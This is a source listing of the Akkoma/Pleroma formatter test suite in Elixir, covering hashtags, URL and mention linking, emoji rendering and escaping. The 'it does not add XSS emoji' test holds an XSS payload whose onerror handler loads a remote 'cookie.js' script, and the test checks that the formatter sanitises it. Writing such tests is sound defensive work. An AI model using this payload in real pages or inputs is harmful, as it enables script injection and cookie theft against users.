Merge branch 'hotfix/activity-without-content' into 'develop'
[akkoma] / test / formatter_test.exs
1 defmodule Pleroma.FormatterTest do
2 alias Pleroma.Formatter
3 alias Pleroma.User
4 use Pleroma.DataCase
5
6 import Pleroma.Factory
7
8 setup_all do
9 Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end)
10 :ok
11 end
12
13 describe ".add_hashtag_links" do
14 test "turns hashtags into links" do
15 text = "I love #cofe and #2hu"
16
17 expected_text =
18 "I love <a data-tag='cofe' href='http://localhost:4001/tag/cofe' rel='tag'>#cofe</a> and <a data-tag='2hu' href='http://localhost:4001/tag/2hu' rel='tag'>#2hu</a>"
19
20 tags = Formatter.parse_tags(text)
21
22 assert expected_text ==
23 Formatter.add_hashtag_links({[], text}, tags) |> Formatter.finalize()
24 end
25
26 test "does not turn html characters to tags" do
27 text = "Fact #3: pleroma does what mastodon't"
28
29 expected_text =
30 "Fact <a data-tag='3' href='http://localhost:4001/tag/3' rel='tag'>#3</a>: pleroma does what mastodon't"
31
32 tags = Formatter.parse_tags(text)
33
34 assert expected_text ==
35 Formatter.add_hashtag_links({[], text}, tags) |> Formatter.finalize()
36 end
37 end
38
39 describe ".add_links" do
40 test "turning urls into links" do
41 text = "Hey, check out https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla ."
42
43 expected =
44 "Hey, check out <a href=\"https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla\">https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla</a> ."
45
46 assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
47
48 text = "https://mastodon.social/@lambadalambda"
49
50 expected =
51 "<a href=\"https://mastodon.social/@lambadalambda\">https://mastodon.social/@lambadalambda</a>"
52
53 assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
54
55 text = "https://mastodon.social:4000/@lambadalambda"
56
57 expected =
58 "<a href=\"https://mastodon.social:4000/@lambadalambda\">https://mastodon.social:4000/@lambadalambda</a>"
59
60 assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
61
62 text = "@lambadalambda"
63 expected = "@lambadalambda"
64
65 assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
66
67 text = "http://www.cs.vu.nl/~ast/intel/"
68 expected = "<a href=\"http://www.cs.vu.nl/~ast/intel/\">http://www.cs.vu.nl/~ast/intel/</a>"
69
70 assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
71
72 text = "https://forum.zdoom.org/viewtopic.php?f=44&t=57087"
73
74 expected =
75 "<a href=\"https://forum.zdoom.org/viewtopic.php?f=44&t=57087\">https://forum.zdoom.org/viewtopic.php?f=44&t=57087</a>"
76
77 assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
78
79 text = "https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul"
80
81 expected =
82 "<a href=\"https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul\">https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul</a>"
83
84 assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
85
86 text = "https://www.google.co.jp/search?q=Nasim+Aghdam"
87
88 expected =
89 "<a href=\"https://www.google.co.jp/search?q=Nasim+Aghdam\">https://www.google.co.jp/search?q=Nasim+Aghdam</a>"
90
91 assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
92
93 text = "https://en.wikipedia.org/wiki/Duff's_device"
94
95 expected =
96 "<a href=\"https://en.wikipedia.org/wiki/Duff's_device\">https://en.wikipedia.org/wiki/Duff's_device</a>"
97
98 assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
99
100 text = "https://pleroma.com https://pleroma.com/sucks"
101
102 expected =
103 "<a href=\"https://pleroma.com\">https://pleroma.com</a> <a href=\"https://pleroma.com/sucks\">https://pleroma.com/sucks</a>"
104
105 assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
106
107 text = "xmpp:contact@hacktivis.me"
108
109 expected = "<a href=\"xmpp:contact@hacktivis.me\">xmpp:contact@hacktivis.me</a>"
110
111 assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
112
113 text =
114 "magnet:?xt=urn:btih:7ec9d298e91d6e4394d1379caf073c77ff3e3136&tr=udp%3A%2F%2Fopentor.org%3A2710&tr=udp%3A%2F%2Ftracker.blackunicorn.xyz%3A6969&tr=udp%3A%2F%2Ftracker.ccc.de%3A80&tr=udp%3A%2F%2Ftracker.coppersurfer.tk%3A6969&tr=udp%3A%2F%2Ftracker.leechers-paradise.org%3A6969&tr=udp%3A%2F%2Ftracker.openbittorrent.com%3A80&tr=wss%3A%2F%2Ftracker.btorrent.xyz&tr=wss%3A%2F%2Ftracker.fastcast.nz&tr=wss%3A%2F%2Ftracker.openwebtorrent.com"
115
116 expected = "<a href=\"#{text}\">#{text}</a>"
117
118 assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
119 end
120 end
121
122 describe "add_user_links" do
123 test "gives a replacement for user links" do
124 text = "@gsimg According to @archa_eme_, that is @daggsy. Also hello @archaeme@archae.me"
125 gsimg = insert(:user, %{nickname: "gsimg"})
126
127 archaeme =
128 insert(:user, %{
129 nickname: "archa_eme_",
130 info: %Pleroma.User.Info{source_data: %{"url" => "https://archeme/@archa_eme_"}}
131 })
132
133 archaeme_remote = insert(:user, %{nickname: "archaeme@archae.me"})
134
135 mentions = Pleroma.Formatter.parse_mentions(text)
136
137 {subs, text} = Formatter.add_user_links({[], text}, mentions)
138
139 assert length(subs) == 3
140 Enum.each(subs, fn {uuid, _} -> assert String.contains?(text, uuid) end)
141
142 expected_text =
143 "<span><a data-user='#{gsimg.id}' class='mention' href='#{gsimg.ap_id}'>@<span>gsimg</span></a></span> According to <span><a data-user='#{
144 archaeme.id
145 }' class='mention' href='#{"https://archeme/@archa_eme_"}'>@<span>archa_eme_</span></a></span>, that is @daggsy. Also hello <span><a data-user='#{
146 archaeme_remote.id
147 }' class='mention' href='#{archaeme_remote.ap_id}'>@<span>archaeme</span></a></span>"
148
149 assert expected_text == Formatter.finalize({subs, text})
150 end
151
152 test "gives a replacement for user links when the user is using Osada" do
153 mike = User.get_or_fetch("mike@osada.macgirvin.com")
154
155 text = "@mike@osada.macgirvin.com test"
156
157 mentions = Formatter.parse_mentions(text)
158
159 {subs, text} = Formatter.add_user_links({[], text}, mentions)
160
161 assert length(subs) == 1
162 Enum.each(subs, fn {uuid, _} -> assert String.contains?(text, uuid) end)
163
164 expected_text =
165 "<span><a data-user='#{mike.id}' class='mention' href='#{mike.ap_id}'>@<span>mike</span></a></span> test"
166
167 assert expected_text == Formatter.finalize({subs, text})
168 end
169
170 test "gives a replacement for single-character local nicknames" do
171 text = "@o hi"
172 o = insert(:user, %{nickname: "o"})
173
174 mentions = Formatter.parse_mentions(text)
175
176 {subs, text} = Formatter.add_user_links({[], text}, mentions)
177
178 assert length(subs) == 1
179 Enum.each(subs, fn {uuid, _} -> assert String.contains?(text, uuid) end)
180
181 expected_text =
182 "<span><a data-user='#{o.id}' class='mention' href='#{o.ap_id}'>@<span>o</span></a></span> hi"
183
184 assert expected_text == Formatter.finalize({subs, text})
185 end
186
187 test "does not give a replacement for single-character local nicknames who don't exist" do
188 text = "@a hi"
189
190 mentions = Formatter.parse_mentions(text)
191
192 {subs, text} = Formatter.add_user_links({[], text}, mentions)
193
194 assert length(subs) == 0
195 Enum.each(subs, fn {uuid, _} -> assert String.contains?(text, uuid) end)
196
197 expected_text = "@a hi"
198 assert expected_text == Formatter.finalize({subs, text})
199 end
200 end
201
202 describe ".parse_tags" do
203 test "parses tags in the text" do
204 text = "Here's a #Test. Maybe these are #working or not. What about #漢字? And #は。"
205
206 expected = [
207 {"#Test", "test"},
208 {"#working", "working"},
209 {"#漢字", "漢字"},
210 {"#は", "は"}
211 ]
212
213 assert Formatter.parse_tags(text) == expected
214 end
215 end
216
217 test "it can parse mentions and return the relevant users" do
218 text =
219 "@@gsimg According to @archaeme, that is @daggsy. Also hello @archaeme@archae.me and @o and @@@jimm"
220
221 o = insert(:user, %{nickname: "o"})
222 jimm = insert(:user, %{nickname: "jimm"})
223 gsimg = insert(:user, %{nickname: "gsimg"})
224 archaeme = insert(:user, %{nickname: "archaeme"})
225 archaeme_remote = insert(:user, %{nickname: "archaeme@archae.me"})
226
227 expected_result = [
228 {"@gsimg", gsimg},
229 {"@archaeme", archaeme},
230 {"@archaeme@archae.me", archaeme_remote},
231 {"@o", o},
232 {"@jimm", jimm}
233 ]
234
235 assert Formatter.parse_mentions(text) == expected_result
236 end
237
238 test "it adds cool emoji" do
239 text = "I love :moominmamma:"
240
241 expected_result =
242 "I love <img height=\"32px\" width=\"32px\" alt=\"moominmamma\" title=\"moominmamma\" src=\"/finmoji/128px/moominmamma-128.png\" />"
243
244 assert Formatter.emojify(text) == expected_result
245 end
246
247 test "it does not add XSS emoji" do
248 text =
249 "I love :'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a):"
250
251 custom_emoji = %{
252 "'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a)" =>
253 "https://placehold.it/1x1"
254 }
255
256 expected_result =
257 "I love <img height=\"32px\" width=\"32px\" alt=\"\" title=\"\" src=\"https://placehold.it/1x1\" />"
258
259 assert Formatter.emojify(text, custom_emoji) == expected_result
260 end
261
262 test "it returns the emoji used in the text" do
263 text = "I love :moominmamma:"
264
265 assert Formatter.get_emoji(text) == [{"moominmamma", "/finmoji/128px/moominmamma-128.png"}]
266 end
267
268 test "it returns a nice empty result when no emojis are present" do
269 text = "I love moominamma"
270 assert Formatter.get_emoji(text) == []
271 end
272
273 test "it doesn't die when text is absent" do
274 text = nil
275 assert Formatter.get_emoji(text) == []
276 end
277
278 describe "/mentions_escape" do
279 test "it returns text with escaped mention names" do
280 text = """
281 @a_breakin_glass@cybre.space
282 (also, little voice inside my head thinking "maybe this will encourage people
283 pronouncing it properly instead of saying _raKEWdo_ ")
284 """
285
286 escape_text = """
287 @a\\_breakin\\_glass@cybre\\.space
288 (also, little voice inside my head thinking \"maybe this will encourage people
289 pronouncing it properly instead of saying _raKEWdo_ \")
290 """
291
292 mentions = [{"@a_breakin_glass@cybre.space", %{}}]
293 assert Formatter.mentions_escape(text, mentions) == escape_text
294 end
295 end
296 end